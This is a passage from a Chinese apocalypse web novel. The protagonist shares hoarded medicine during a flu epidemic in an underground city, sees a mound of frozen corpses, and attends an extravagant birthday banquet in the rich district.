陆昼从他之前囤的那些药里，挑挑拣拣，拿了一大箱，准备拿回去给家人、朋友、保镖备着。 秦小薇也跟着挑了一大箱。 虽然她不像陆昼那样，有一大家子亲戚保镖，但穿越到这个世界好几年了，她也有了一群可以真心相交的同事、朋友，要是他们遇到了危险，秦小薇也愿意搭把手。 挑完东西后，秦小薇问他：“要我陪你出去一趟，把这些东西拉回来吗？” 陆昼摇头：“东西不多，我直接搬回去就行了……” 他出门的时候，刚好碰到了隔壁一个邻居，过来和秦小薇换菜吃。 经过隔壁那位周奶奶的“宣传”，现在附近的住户都知道，秦小薇家的韭黄种得特别好，要是想吃韭黄了，可以拿着自家的东西过去换。 最近这段时间，秦小薇除了邻居们自己种的蔬果，还收到了不少其他的东西，因为“韭黄外交”，她和邻居们的关系都拉近了很多。 她从邻居们口中得知，原来不止她，附近其他的住户也嫌商场的东西卖得贵。 同样品质的东西，换个地方，就敢多收他们十几倍的差价，简直就是把他们当冤大头，还有闲着没事的老头老太太早起去公租房那边的超市抢新鲜的蔬菜…… 不过，虽然嘴上嫌贵，但一些外面买不到的东西，他们还是会去光顾的。 除此之外，秦小薇还对这些有钱人的娱乐活动有了些了解，她被邻居们安利了私人游戏馆、酒吧、室内高尔夫球场…… 当然，这些娱乐活动每一样都很费钱，秦小薇对邻居口中的私人游戏馆很感兴趣，还特地多问了几句，结果得知那家私人游戏馆，和她之前去过的射击馆一样是会员制，想进去玩得先充几十万的会员…… 游戏馆光是门槛费，就要健身房一个月的营业额了，秦小薇直接被劝退了。 虽然这钱她也不是拿不出来，但有这钱，去同城APP上收点游戏道具，在健身房和大家一起玩不香吗？ 为什么要让资本家赚了？ 对方认识陆昼，看到陆昼大早上从秦小薇家出来，她还愣了一下，看了下边上的门牌号，确认自己有没有敲错门。 陆昼却表现得非常淡定，他冲着对方点点头，就算是打过招呼了，然后就神色自若地抱着纸箱回家了。 仿佛他从秦小薇家出来，是很正常的事。 秦小薇尴尬了一瞬，随后就像没事人似的笑着和邻居寒暄道：“林姐，您找我有什么事？” “啊？我来找你换点韭黄，我家小胖中午想吃韭黄炒肉……哎，小秦，你能不能挖点韭菜根给我？”林姐打开手上的袋子，把这次交易的东西拿了出来，“这是我们家自己生产的洗护套装，你拿去用！” 这位林姐，家里是做日化的，在地下城还有两个工厂，超市里目前供应的生活用品，有一小部分就是他们家生产的。 事实上，能住在这片区域的，除了一小部分是吃以前的老本，大部分人，家里都是做实业的，地下城现在的物资供应，除去最基础的蔬菜粮食，剩下的，超过百分之八十，都是由这些人撑起来的。 如果不是这样，富人区也不会安排警察24小时巡逻，保护他们的安全。 秦小薇：“行啊？怎么不行！林姐，你等下，我去屋里拿锄头……” 在秦小薇割韭黄挖韭菜根的时候，林姐还暗戳戳地和她打听，她和陆昼的关系，秦小薇随便敷衍过去了。 林姐是个生意人，听话听音，知道秦小薇不想聊陆昼，便顺势转移了话题，和她聊韭菜种下去之后该怎么打理。 送走了林姐后，秦小薇才回家吃早饭。 因为陆昼带来的消息，秦小薇出门的时候，把厚厚的棉纱口罩换成了医用口罩，等到了健身房，她也没把口罩摘下来。 可能是因为昨天灌了不少姜茶，秦小薇又让她们吃了感冒冲剂预防感冒，睡了一觉后，昨天还在打喷嚏的教练今天都好的差不多了。 反而是这片区域的其他住户，感冒咳嗽的不少。 秦小薇中午想去买份炸串回健身房加餐，到了店里后，她看到有个顾客挑选食材的时候，在对着橱柜里的蔬菜咳嗽，就又默默退了回来。 加餐的事还是算了吧，她觉得自己的便当也挺丰富的，不加炸串也能吃完！ 白天，秦小薇又翻出了昨天的电煮锅，煮了一大锅姜汤放在店门口，让店里的顾客喝，附近的邻居，路过的路人想要过来接一杯，她都不会阻止。 她空间里有一小片区域，是专门用来种植生姜大蒜这种调味作物的，几块生姜对她来说并不值钱。 一转眼，时间又过了好几天。 其他两座地下城，因为食物不足，每天都会闹出不少乱子，但现在外面温度低，交通不方便，那边的混乱倒是还没有传过来。 但那场火灾造成的影响却是越来越大，火灾的原因已经查出来了，有个“大聪明”，因为公租房的线路过载总是跳闸，给电闸的空气开关搞了个锁，把屋里的空气开关锁了起来。 结果出事的时候，空气开关没有自动跳闸，屋里又没人，这才引发了火灾…… 市政公布了调查结果后，不少网友都在网上骂想出这个办法的“大聪明”是白痴，不过那人也受到了处罚，在市政的强制执行下，不仅存款赔了个倾家荡产，还被送到江安区坐牢了…… 因为火灾造成的影响太大了，市政还请专家专门做了个说明，告诉普通市民，不同的火势，附近多少米是“安全距离”。 由于医院感冒发烧的病人激增，市政还发了公告，提醒市民外出的时候做好防护，但地下城空气不流通，短短几天，流感的总人数就增加了十几倍，地下城库存的药正在急剧下降！ 秦小薇那些有钱邻居现在都不来公租房这边和普通人一起抢菜了。 这些有钱人怕死，还在富人区和公租房的出入口处加了个消毒装置，秦小薇每天下班，都会被拿着消毒喷壶的工作人员从头到尾喷一遍。 临走前，还有工作人员提醒她，要是得了流感，及时去医院住院隔离，免得传染给其他人……要是有人感冒没去医院，医院还会安排医生□□。 弄得十分夸张！ 秦小薇甚至都开始怀疑，这波不是流感，而是什么会致死的传染病！ 某天，她下班的时候，碰到了出来遛狗的陆昼，两只狗社交的时候，秦小薇忍不住和他吐槽这事。 秦小薇：“……你说，他们到底是真的怕被传染了流感，还是借着这个机会给医院搂钱？” 毕竟，医生上门看病收费还挺贵的…… 陆昼：“都有吧！他们奋斗了这么多年，赚的钱都没花完呢……” 又过了几天，外面感染流感的人也越来越多，秦小薇犹豫了几天，最后决定暂时把健身房交给其他人，她暂时留在别墅区这边，不过去了。 她这几天除了吃饭，几乎不摘口罩，就算是吃饭的时候，也是一个人在办公室里吃，除此之外，她还天天喝感冒冲剂预防感冒。 她暂时还没有中招，但外面病毒的浓度实在是太高了，这几天来健身的客人有不少都生着病——网上有人传，说运动可以提高抵抗力，出汗可以让流感快点好。 这当然是不对的，如果只有鼻塞打喷嚏之类的轻度症状，可以适度运动，但如果有发热、肌肉酸痛之类的症状，是要避免运动的，否则可能会增加心脏的负担，严重的，还有可能引发心肌炎…… 本着对客人负责的原则，如果碰到了得了流感的病人，教练们会先询问她们的症状，症状比较轻的，教练们会给她们安排拉伸之类的运动；症状重的，则会直接劝她们回家休息。 除此之外，秦小薇还专门拍了视频和大家科普，感冒期间运动出汗弊大于利。 她给员工们留了不少生姜、感冒药、退烧药，又承诺月底给她们发奖金，就心安理得地回家躺着了。 宅家的第一天，秦小薇做了个转盘，转盘上写了一圈菜名，全是她空间里已经做好的美食，到了饭点，她就直接转转盘选菜，完美解决“今天吃什么”这个世纪难题。 宅家第二天，她在家做了一堆叉烧肉、黄焖羊肉、炸鸡…… 宅家第三天，她被邻居家的双胞胎兄妹邀请去他们家玩，秦小薇对着他们家客厅占据了半面墙的液晶显示屏，和两个九岁的小朋友，玩了一整天的卡带游戏…… 当然，她会被邀请，前一天做的那些美食功不可没！ 他们家还养了两只泰迪，不仅秦小薇玩游戏玩得很开心，朔月和两只泰迪也玩得很开心。 双胞胎兄妹的性格非常活泼，他们父母不在家，家里只有几个保姆，秦小薇和他们相处得很愉快，并约好了第四天带着羊肉串和自制冰淇淋继续上门和他们玩。 虽然外面的人都在被流感、饥饿困扰，但她缩在富人区，丝毫没受到影响。 如果不是每天看群里的信息，她甚至有种自己根本就没在经历天灾的错觉…… 不过第四天上午，秦小薇的卡带游戏玩了没多久，就不得不和自己刚认识不久的小伙伴道别。 她接到了一通求助电话，是Q大体院一位老师打过来的，秦小薇在校的时候没上过他的课，但是之前健身房招教练的时候，对方帮过忙。 虽然事情已经过去很久了，但她依旧记得这个人情，对方开口求助，她毫不犹豫就答应了。 老师的母亲生病发烧了，还引发了肺炎，但现在医院的退烧药和消炎药都“一药难求”，就连被戏称为“黑市”的同城APP上退烧药都是有市无价，他打了许多电话求助，但周围并没有人能帮得上忙…… 从教练那得知健身房的“老板”有渠道弄到药，这才抱着试一试的态度向她求助。 双胞胎中的妹妹一把抱住秦小薇的大腿，她仰着小脸，漂亮的大眼睛一眨不眨地看着她：“姐姐，你再陪我玩一局吧！玩完这局你再走好不好？” 秦小薇捏了下她绑着小兔子头绳的羊角辫，笑着开口道：“姐姐有事要出去一趟，先让你哥哥陪你玩！” 小姑娘哼了一声，嫌弃地开口道：“哥哥太菜了，和他玩游戏一点意思都没有！” “凌悦悦，你说谁菜呢？”边上的小男孩不高兴了，当即就和小姑娘吵了起来。 “说你呢！”小姑娘躲在秦小薇后面，冲着她哥哥做了个鬼脸。 “好了好了，别吵架……”安抚好一对双胞胎，秦小薇才得以脱身。 她先回家进空间找出那位老师的母亲需要的药，才骑着电动车出门。 那位老师住的地方离别墅区有点远，秦小薇骑着电动车，开了二十多分钟才到达目的地，中途，她路过了商业街，却发现，有不少店铺都关门了，原本热闹的商业街，此时竟然有几分萧条。 秦小薇忍不住皱眉，是老板生病了？还是没生意商家暂时歇业了？ 第114章 第114章尸山（双更合一）…… 虽然Q大在地下城也有分校区,但因为地下城的面积限制，现在地下城的大学，是由Q大和另外三所大学重组的综合大学。 体院需要的场地太大了,很多专业都取消了,有些学生都大三了,却被学校通知，要求转专业……不过体院的老师并没有失业,他们被学校调去干保安之类的后勤工作了。 从大学老师到保安,这份落差虽然很大，但大环境如此,学校能给他们一份工作，已经很好了。 形势比人强，这些老师虽然心有不甘,但也只能接受。 秦小薇到的时候,那位老师就穿着保安的制服。 秦小薇把手上的药递了过去：“方老师，您要的药，您看看还有没有缺的……” 方老师打开袋子看了看,他惊喜地发现，除了退烧药和消炎药,就连他在电话里提过一嘴的甲泼尼龙秦小薇也弄到了。 除了药,秦小薇还给他准备了生理盐水、葡萄糖溶液、输液管、针头……袋子很沉，非常压手！ 有这些东西在，就算医院里没有床位,他在医学院随便找个护理专业的学生，就能帮他妈妈把药用上。 至于在家里用药不安全什么的……人都要死了，哪还有心思考虑那么多！ 现在最重要的是把命保住！ 方老师一把抓住秦小薇的手，用力握了握：“秦同学,我真是不知道该说什么……谢谢！谢谢！” 打了那么多电话，他原本都以为没希望了，没想到最后却是秦小薇这个不算是他学生的陌生人送了药过来…… 他眼中含泪，声音都有些哽咽，连着重复了几句“谢谢”后，他竟然还要给秦小薇鞠躬。 秦小薇吓了一跳，连忙拦住他：“方老师，您别激动，先把药拿回去给……给奶奶用上吧！” 方老师又对着她说了好几句“谢谢”，才提着药大步跑回去。 难得出门，送完药之后，秦小薇又去了趟健身房，周围很多店铺都关门了，但健身房依旧有不少客人，除了少数几个教练闲着，大部分教练都戴着口罩，正在指导客人的动作。 看到秦小薇之后，几个闲着的教练纷纷和她打招呼。 秦小薇检查了一下店里各种物资的存货，才和教练们打听起健身房这几天的情况。 “都挺好的！” “隔壁几家店的老板都得了流感，社区上门检查的时候，发现他们没戴口罩，就让他们要么歇业，等病好了再继续营业，要么换一批员工……” “咱们店？咱们店没被检查，他们直接跳过了……应该是老板提前打了招呼吧？店长你不知道？” “……” 秦小薇稍微一想就明白了，她们店应该是沾了陆昼的光，才会被社区的工作人员格外“优待”。 她想了想，冲着前台开口道：“之后店里有客人来了，你就给人家发个口罩，提醒她们最近是流感的高发期，要注意防护。” “还有，店里要是有谁病了，就直接回公租房休息，要是倒下的人超过一半，咱们店也歇业……” 这波流感虽然搞得地下城人心惶惶，但病毒其实并没有多厉害，大多数病人都只有上呼吸道感染的症状，只要 按时吃药，几天就能好。 有些身体好的，就算不吃药也能硬扛过去。 但生病的人太多了，地下城药品稀缺，连退烧药都弄不到，才会有那么多病人，因为治疗不及时发展成重症。 这也是社区的工作人员上门检查经营者的健康状况、劝生病的人回家休息的原因。 要是放在天灾之前，社区和市政的工作人员根本不会管这么多…… 听到秦小薇的话，前台的表情有些为难：“店长，这么送，咱们自己用的口罩会不会不够啊？” 她留在店里的医疗物资，供店里的员工使用绰绰有余，她们一天换四次口罩都没问题，但要是把它们分给来来往往的客人，那就有点不够看了。 秦小薇：“没事，我晚点找老板再弄两箱过来……” 这个时候，秦小薇就很庆幸之前陆昼带着她跑了一趟风城，弄到了一大批足够开医院的医疗物资，否则就陆昼最开始准备的那些物资，还真不够她这么“挥霍”。 在店里转了一圈，又回家拿了一大箱口罩过来，秦小薇才去隔壁邻居家接德牧。 此时正是中饭时间，双胞胎正坐在椅子上，晃着脚吃中饭，他们的父母不在家，就只有保姆阿姨照顾他们吃中饭。 两个小不点也不挑食，吃得满脸都是饭粒和酱汁。 小姑娘凌悦悦朝着秦小薇发出邀请：“姐姐，你要不要留下来一起吃饭？今天有超级好吃的糖醋排骨！” 秦小薇朝桌上看了看，他家虽然也住在富人区，但桌上的饭菜却十分家常，糖醋排骨、蒸蛋、炒青菜，外加一杯不知道是豆浆还是米糊的什么饮品。 两个孩子还是分餐制，分量刚好够他们吃，一点都不浪费。 两只泰迪正在餐桌旁焦躁的转圈，仰着脖子等待小主人的投喂，德牧就乖多了，乖乖蹲坐在秦小薇身边，等她带自己回家。 秦小薇摇头：“不用了，姐姐回家吃。” 凌悦悦：“好吧！姐姐，明天就是周一了，妈妈让我们下午在家里写作业，我们不能和你一起玩了……我下周再邀请你来我家！” 这家的父母虽然不在家，但家里到处都是监控，他们的妈妈还会通过可移动的摄像头，随时提醒两个孩子按时吃饭；玩游戏的时候不要一直盯着显示屏，要看一看远处放松眼睛；零食不能过量…… 虽然他们人不在，但女主人的声音指不定什么时候就会冷不丁冒出来。 听她这么说，秦小薇顿时有些失望，毕竟他们家这面占据了半张墙的超大屏幕玩起游戏来是真的很爽，而且这两个孩子游戏卡带的存货也是真的多！ 但人家还是小学生，秦小薇也不能让他们别写作业了，陪她玩游戏。 她这个成熟的大人，该寻摸一些别的娱乐活动了…… 回家后，秦小薇吃了顿丰盛的中饭，之后，又打开同城APP，发了条收游戏卡带的帖子。 可能是因为绝版了，这东西涨价特别厉害，有些卡带天灾之前全新的都只要几百，现在一两千都算便宜的。 但秦小薇没别的爱好，地下城也没什么需要花钱的地方，健身房还一直在盈利，她也就没在乎这几万块，一口气收了十几套。 就是卖家的分布有些分散，她在外面跑了快两个小时，才把东西拿到手。 之后一周，秦小薇都宅在家里玩游戏，空闲的时候，她会看一下同城APP和群里的消息。 她打算等情况恢复了就回去上班，但流感的感染率并没有下降，反而有逐步上升的趋势，就连有些工厂、学校都开始停工、停学。 健身房的员工，大多数都和Q大体院有点关系，最近，她们在朋友圈刷到了不少校友、老师求药的消息，有些关系比较近的，她们问过秦小薇之后，就把她之前留在健身房的药分了一部分出去。 后面不知道怎么传成了秦小薇有药厂的人脉，能弄到退烧药和消炎药，越来越多的人找她帮忙弄药……最高的一次记录，她半个小时接了十通电话！ 除了打电话的，还有人私信求她帮忙。 秦小薇也是第一次知道，原来自己列表里竟然还有这么多好友在宁市！ 巡逻队因为每天都要接触到很多人，不少队员都中招了，巡逻队要是任务过程中受了伤，看病是可以走绿色通道的，但现在医院实在是弄不到药，他们也只能硬熬。 段霞作为队长非常着急，也来找秦小薇帮忙…… Q大的校友和老师，秦小薇挑了些关系比较近、病情严重的帮忙了，剩下的，就随便敷衍过去了。 至于巡逻队，她并没有吝啬，直接搬了一大箱药过去，让段霞给队员们分了。 这几天，陆昼又过来拿了一次药，他是替军队弄的药。 富人区这边的医院不缺医疗物资，外面的人因为流感都不敢出门了，这边倒是一切如常。 陆昼之前拿回去的那箱药，都还没开封。 要送给军队的药太多，秦小薇还跟着他出去了一趟。 对于他的大方，秦小薇很震惊：“你竟然这么有奉献精神？一口气捐了半车医疗物资出去！” 陆昼：“我这是提前投资……现在给他们送药，就是雪中送炭，以后要是出了事，我去找他们帮忙，人家也不好拒绝。” 秦小薇：“……”果然，这家伙是不可能转性的！ 车子刚从地下城的通道开出去，他们坐的卡车就和另外几辆车擦身而过，见那几辆车径直开入地下城，秦小薇忍不住“咦”了一声：“那不是运尸车吗？怎么都出去了？” 陆昼：“运送尸体。” 秦小薇皱眉：“一次出动这么多车……最近死了这么多人？” 陆昼：“还行吧，看统计的数据，目前死亡率还不到0.5%，没之前高温的时候多……这波病毒的致死率并不高！主要是一些老年人的抵抗力差，发展成重症之后，就很难熬过去！” 秦小薇抿了抿唇，没有接话，就算死亡率没有0.5%，但地下城的人口基数摆在那，0.5%乘以百万，死亡人数也有好几千了。 车子越开越偏，半个小时后，秦小薇看着远方的山直皱眉：“陆昼，你怎么把车开得这么偏？我觉得时间差不多了，咱们可以往回开了……” 在外面待得有点久，她的手脚越来越冷了。 陆昼：“知道了，我在前面掉头！” 车子转了一个弯，开到了“山”的另一面，秦小薇这才知道，她刚刚看到的，并不是自然形成的大山，而是由许多尸体堆砌而成的“尸山”。 因为最近一直在下雪，尸体完全被冰雪所覆盖，她才会误以为陆昼把车子开到了山里。 但新运过来的 尸体，还没被冰雪覆盖，于是，就这么出现在两人面前。 这么多同类的尸体乍然出现在眼前，带来的冲击还是挺大的！ 秦小薇：！！！ 她转过头，对陆昼怒目而视：“你怎么把车开到这里来了？” 陆昼：“我看你好像对运尸车很感兴趣，就带你过来观光一下！” 秦小薇：“……” 秦小薇对着他的肚子就是一个肘击：“陆昼，你有病啊！说好了出来运物资，你让我出来看尸体……” 可能是因为衣服穿得厚，虽然秦小薇这一下没收力气，陆昼却不觉得疼，他踩下刹车，笑道：“车辆行驶的时候攻击驾驶员可不是什么好习惯，小心出车祸……” 秦小薇瞪了他一眼，扯掉安全带，又给了他一拳。 陆昼：“嘶……你来真的？刚刚和你开玩笑的，这条路最近很多车来往，有扫雪车开路，比较好走，我不知不觉就开过来了……” 听到他的解释，秦小薇这才重新系好安全带：“回去吧！外面冷死了！” 陆昼揉了揉自己的胳膊，痛感依旧非常明显。 以后和她开玩笑要慎重！ 就在他们准备离开的时候，距离尸山不远处的小屋里出来了一个穿军大衣的人，他裹得严严实实，就连眼睛都没露出来，他冲着两人打了个手势，示意他们靠边停车。 看到他的手势，秦小薇坐直了身体，她看向陆昼：“咱俩违反交通规则了？” 陆昼摇头：“估计把咱们的卡车当成运尸车了！” 他按下窗户，冲着军大衣喊了声：“我们路过的！” 车窗打开之后，外面的冷风顿时灌了进来，可能是因为温度太低了，尸山上的尸体并没有腐败的迹象，就算离得这么近，开窗后，秦小薇依旧没有闻到尸体的臭味。 当然，也有可能是因为她戴了口罩，口罩把味道隔绝了…… 听到陆昼的声音后，军大衣冲着他们挥了挥手，示意两人赶紧离开，就钻回小屋里去了。 可能是因为那座尸山带来的震撼太大了，回去的路上，他们的聊天话题就没绕开过那座尸山。 秦小薇：“那屋子离尸体这么近，窗户还正对着尸体……他晚上不会做噩梦吗？” 陆昼：“这是他的工作。” 秦小薇：“……”那也是挺惨的！ 秦小薇：“这尸体不拉去火葬场吗？就一直这么露天放着？这也太不尊重死者了！” 陆昼：“等低温结束了再说吧，到时候可能会给他们弄个公墓什么的……现在的燃料都拿来发电供暖了，火葬场已经关门了。” 秦小薇：“……” 等到了一个无人的地段，陆昼停车后，秦小薇跳下车，准备把后车厢填满，但她走了没几步，就被绊了一下。 “什么东西啊？” 她以为是石头，回头看了一眼，却看到了一截布料，她用靴子在地上踢了踢，结果雪地里露出了一只戴着手套的手。 秦小薇：？？？ 秦小薇：！！！ 她盯着那只手看了一会儿，片刻之后，她直接蹲下，用手往边上挖了挖，然后……她挖出了一具尸体。 尸体趴在地上，似乎是走路的时候倒下的，之后，就再也没爬起来…… 这条路好几天没有扫雪车光顾，地上的积雪已经超过她的小腿了，尸体也完全淹没在积雪中。 见她“磨蹭”了许久都没上来，陆昼从车里探出了脑袋：“出什么事了？” 秦小薇指着地上的尸体开口道：“陆昼，我发现了一具冻死的尸体……” 陆昼扫了一眼趴着的尸体，“哦”了一声，随后催促道：“先干活！” 秦小薇以为他的意思是他会处理这具尸体，便绕去了后车厢，她拉开后车厢的门，把之前整理好的医疗物资转移进了车厢。 等回到驾驶室后，陆昼问了句“弄好了？”，见她点头，就直接启动了车子。 秦小薇把接触过尸体的手套摘下来扔到仓库里，换了副新的。 她看着后视镜里逐渐变小的尸体，问陆昼：“咱们不用在这等着吗？这条路这么长，警察会不会找不到地方？” 陆昼：“不用管，等下次扫雪车路过的时候发现了尸体，他们会处理的！” 秦小薇：？？？ 如果不是有安全带固定她的身体，她都要从座椅上弹射起来了，她瞠目结舌地看着陆昼：“不、不用管？” 她伸手胡乱比画了几下：“你是说，就让他一直在雪地里躺着？什么时候被扫雪车发现了，再送去尸山那边？” 陆昼：“从地下城过来，来回至少四十分钟，就为了一具尸体跑一趟，不划算……他人都死了！” 秦小薇：“……”运个尸体，还要考虑划不划算？ 陆昼抽空看了她一眼，见她似乎接受不了这个解释，也没再多说什么。 虽然只在外面待了一个多小时，但这一路的“见闻”，却给秦小薇带来了极大的心理震撼，回去之后，她连玩游戏的心思都没了，一直在想她在路上“偶遇”的那具尸体。 就连尸体手套上的小破洞，都在她脑海里出现了许多遍…… 纠结了没两天，隔壁的一位邻居就送来了请帖，邀请秦小薇参加她女儿十岁的生日宴。 宴会地点在富人区一家酒店里，骑电动车十几分钟就能到。 秦小薇很久没去吃席了，她和这位邻居的关系处得还可以，纠结了一下，就答应了。 毕竟是人家的生日宴，秦小薇也没有空手上门，她从陆昼给香肠准备的一堆狗玩具里挑了个抱枕，找了丝带、礼物盒包装了一下，就提着东西出发了。 这家酒店已经开了好几个月了，生意一直还不错，不过秦小薇觉得它的价格可能很贵，从来没光顾过。 宴会厅在二楼，秦小薇和一楼的工作人员出示了自己的请帖，才被引去二楼宴会厅，宴会厅装修得很气派，甚至比天灾之前普通人举办婚礼的宴会厅还要奢华。 邻居一家三口都在门口迎接客人，秦小薇把准备好的礼物递给他们，冲着小寿星说了句“生日快乐”，又和邻居客套了几句，才进去。 虽然外面的人连能量饼干都不够吃，但丝毫不影响富人区的有钱人享受生活。 秦小薇扫了眼一家三口身后放礼物的桌子，光是放礼物的圆桌，他们就准备了两张，且其中一张桌子，已经堆满了礼物。 进去后，秦小薇按照桌上的牌子找到了自己的座位坐下，她这一桌，基本上都是附近的住户，她大多十分眼熟，也能聊上几句。 她观察了一下，在场的大部分人状态都不错……她坐了五分钟，都没听到周围有人打喷嚏、咳嗽。 这边果然是安全的！ 她正和同桌邻居聊着天，余光却瞟到陆昼和几个朋友一起走了进来，几人长得都不差，但陆昼在他们当中，依旧十分突出。 主要是，那张脸实在是太好看了，想不注意到都很难…… 那几人当中，除了奚川，其余几人秦小薇都不认识，她扫了一眼，就移开了视线，继续听邻居们说生意上的事。 不过陆昼似乎看到了她，他和朋友说了几句，就大步朝着她的方向过来了。 见他直接在自己身边坐下了，秦小薇忍不住踢了下他的小腿，她的身体往陆昼的方向挪了挪，小声开口道：“你过来干什么？” 陆昼：“这话应该是我问你吧？这种宴会……你来干什么？” 秦小薇：“岚姐她女儿过生日，说人不够，坐不满不好看，让我过来凑个人头，热闹热闹……” 陆昼：“……” 他摇了摇头，没再多说什么。 秦小薇又踢了下他的小腿：“你刚刚明显话里有话，解释一下！” 陆昼：“你就当这是一场普通的生日宴，吃吃喝喝就行了！” 见秦小薇眼神不善，陆昼连忙补充了一句：“别踢了，我今天穿的白裤子，容易留印子！” 秦小薇冷哼一声，骂了句“装什么”就不再理他，继续和同桌的其他人聊天。 第115章 第115章宴会（双更合一）…… 秦小薇坐了二十多分钟,主持人才宣布宴会开始，她扫了一眼，大厅里摆了四十多桌,每张桌子都坐满了人。 现在物资限购,外面就算结婚,也只能凑个几桌，但今天的生日宴,光是小寿星的同学、朋友,就坐了五桌。 秦小薇注意到，除了别墅区的一些熟面孔,还有几桌客人，看做派，明显是领导。 看到那些人,她大概明白,陆昼之前为什么会说那些话。 看来主人家举办这场生日宴，除了替女儿庆祝十岁生日，还想达成某些商业目的…… 不过,这应该和她没什么关系……她虽然有很多物资，但明面上的存款,和这些人相比,还是有些不够看的。 她还是老老实实吃东西吧！ 这个鱿鱼好Q弹，海参也好吃…… 宴会厅中央有个舞台，舞台布置成了华丽的公主风,除了主持人，他们还请了人过来表演节目。 就着台上歌手的音乐声，秦小薇听着同桌的人聊天，时不时应和几句,手上的筷 子却一直没停。 陆昼也一直在吃东西，一点社交的意思都没有，桌上其他人试图和他搭话，他就刚开始敷衍了几句，后面就不怎么理人了。 可能是看出他不想聊天，后面再聊别的话题，他们就没再带他。 吃了没多久，陆昼招来一个服务员，要了一壶果蔬汁和两瓶水。 “给你。”陆昼把其中一瓶水递给她。 秦小薇手边的鲍鱼肉饼汤还没喝完，桌上的萝卜牛尾汤和菌菇鸡汤她也没尝，便拒绝道：“我汤还没喝完……” “等下会有人过来敬酒。”他用眼神扫了下桌子上的酒，“还是你想喝酒？” 秦小薇想说她酒也能喝一点，但陆昼已经拧开瓶盖，往两人的酒杯里倒好矿泉水了。 她诧异地看着他：“你不能喝酒？” 陆昼：“还行。” 鲍鱼肉饼汤喝完之后，秦小薇忍不住感叹：“又是海参又是鲍鱼，这一桌得多少钱啊？” 陆昼：“这家店88888到388888都有，看这规格，他们选的应该是最贵的那档。不过他们要是自备食材，应该能便宜不少……。” 秦小薇：！！！ 这一桌也就十几道菜，不少都是半荤半素……这里一道菜竟然要好几万？ 她粗略算了算，一桌小四十万，摆了四十桌，一次十岁生日宴，花一千多万请客？ 看到她脸上不断变化的表情，陆昼示意秦小薇看领导坐的那几桌：“在家里摆的那几桌请不来这么多人……舍不得孩子套不着狼，要是能通过这次宴会把项目谈成了，这钱很快就能赚回来。” 虽然陆昼说这是主人家的“商业投资”，但秦小薇还是被这家店的物价刷新了三观。 秦小薇忽然觉得，她送的礼物好敷衍…… 虽然那个娃娃，售价也要好几百。 过了一会，主持人又让小寿星上台跳了支舞，等舞跳完，属于小姑娘的生日宴似乎就结束了。 除了小朋友坐的那几桌，宴会厅里不少成年人都离开了自己原本的位置，到处敬酒、谈生意、拓展人脉。 秦小薇这才知道，为什么陆昼会提前要果汁和矿泉水。 好多人她都不认识，但人家为了拓展人脉，也会过来敬她酒，人家客客气气的，也没有灌她酒、占她便宜的意思，他们敬酒，她就算手上拿的是果汁，也得应付一下…… 又应付完一波敬酒的人后，陆昼忽然凑到她耳边，问她：“吃饱了吗？走不走？” 他的呼吸喷洒在她的耳廓上，有点痒，秦小薇忍不住缩了下脖子。 她四处看了看，周围觥筹交错，大家正打得火热。 秦小薇小声回道：“宴会还没结束，现在走不太好吧？” 陆昼用下巴指了下某处：“他们正忙着谈项目，不会注意你这个小虾米。” 秦小薇顺着他的视线看过去，发现男主人和女主人正和领导们聊得火热，男主人喝了不少酒，眼神都有些迷离了……看他俩的状态，确实没心思注意她这个“小人物”。 秦小薇这才点头。 她拿了椅背上搭着的外套，和陆昼一起溜了出去。 出了酒店，寒意从四面八方侵袭过来，秦小薇打了个冷颤，立刻套上外套。 陆昼：“走回去？” 秦小薇摸了摸自己的胃，虽然没吃主食，但她筷子一直没停，肉菜都吃了不少，现在已经有些撑了，胃也不太舒服，便点点头。 明天遛狗路过的时候，再把电动车骑回去吧！这边治安好，电动车应该不会被偷！ 走了没一会，秦小薇忽然想到，陆昼是和他朋友一起来的，便问他：“你朋友呢？你把他们丢下跑了，他们不会生气吧？” 陆昼无奈摇头：“那几个家伙和你一样，是过来蹭饭的，二十分钟前就带着保镖跑了。” “我明明是被正经邀请过来的！”秦小薇不满，“保镖？我没看到宴会厅有保镖啊！” 陆昼：“隔壁还有一个厅，是专门给随行保镖开的。” 秦小薇：还有一个厅……这次宴会得花多少钱啊！ 什么项目啊？投入这么多！ 她忍不住开口问他：“岚姐他们家花这么多钱办这场生日宴，要是项目没谈成，那不是亏大了？” 陆昼摇头：“就算回不了本，这钱，他们也是出得起的……” 秦小薇：“……” 也是，能在富人区住独栋别墅的，除了她，身价大多十位数起步，一顿饭，还真不至于让他们伤筋动骨。 两人继续往前走，路过商场的时候，陆昼进去买了两根火腿肠。 秦小薇调侃他：“你回家还要给香肠带礼物？” 陆昼面不改色道：“刚好路过。” 走了一路消食，秦小薇胃里那种不舒服的感觉也消失了，她胡乱冲着陆昼挥了挥手，就回家了。 虽然陆昼的家人搬过来已经有一段时间了，但是秦小薇一直刻意和他们保持距离，和其他邻居相比，秦小薇和他们家的关系非常一般，也就路上碰到的时候，对方主动和她打招呼，她才会回应…… 朔月被她留在家里看家，到家后，秦小薇把它带到空间里，陪它玩了一会儿抛飞盘的游戏，消耗它的体力，才出空间玩手机。 刚打开APP，秦小薇就看到首页飘了不少和生日宴相关的帖子，里面还有不少照片。 秦小薇点开之后才知道，有个小网红，搞到了一张邀请帖，混进了宴会，偷偷拍了不少视频发到网上，对方刚发出来，就被人截图搬运到同城APP上。 可能是因为菜色太诱人，不少人都在讨论这场宴会…… 秦小薇找到原版视频看了看，拍视频的人坐得离她比较远，她和陆昼并没有在视频里出镜。 外面的普通人还困在流感、饥饿里，但富人区的宴会上却有一堆鲍鱼海参，评论区很多人都在感叹“朱门酒肉臭，路有冻死骨”…… 秦小薇觉得，就她的体验来说，这句话虽然有点夸张，但是好像也没说错？ 她又翻了下评论区，惊讶地发现，他们都在地下城住了好几个月了，外面竟然还有人不知道富人区的存在！ 还有人在评论区问，有没有人有偿带他们进富人区，他们想去捡垃圾、打包酒店的剩菜；除此之外，还有人认出了视频里某些领导，质疑他们有没有贪污受贿…… 等到了晚上，宴会相关的帖子还在同城APP的首页飘着，室友群、员工群也都在讨论这件事。 【范槿：你们看到那个生日宴的视频了吗？】 【范槿：那个小女孩也太幸福了！像个小公主！】 【范槿：她那条裙子好漂亮啊！】 【肖琳琳：想去打包剩菜，看起来好好吃……我长这么大，还没吃过海参呢！】 【肖琳琳：希望我下辈子，也能投胎到这么有钱的人家！】 秦小薇想告诉她们，这场宴会，和她们想象的完全不一样，人家只是借着办宴会的机会谈生意…… 但碍于自己的“人设”，她什么都没说，只能憋着。 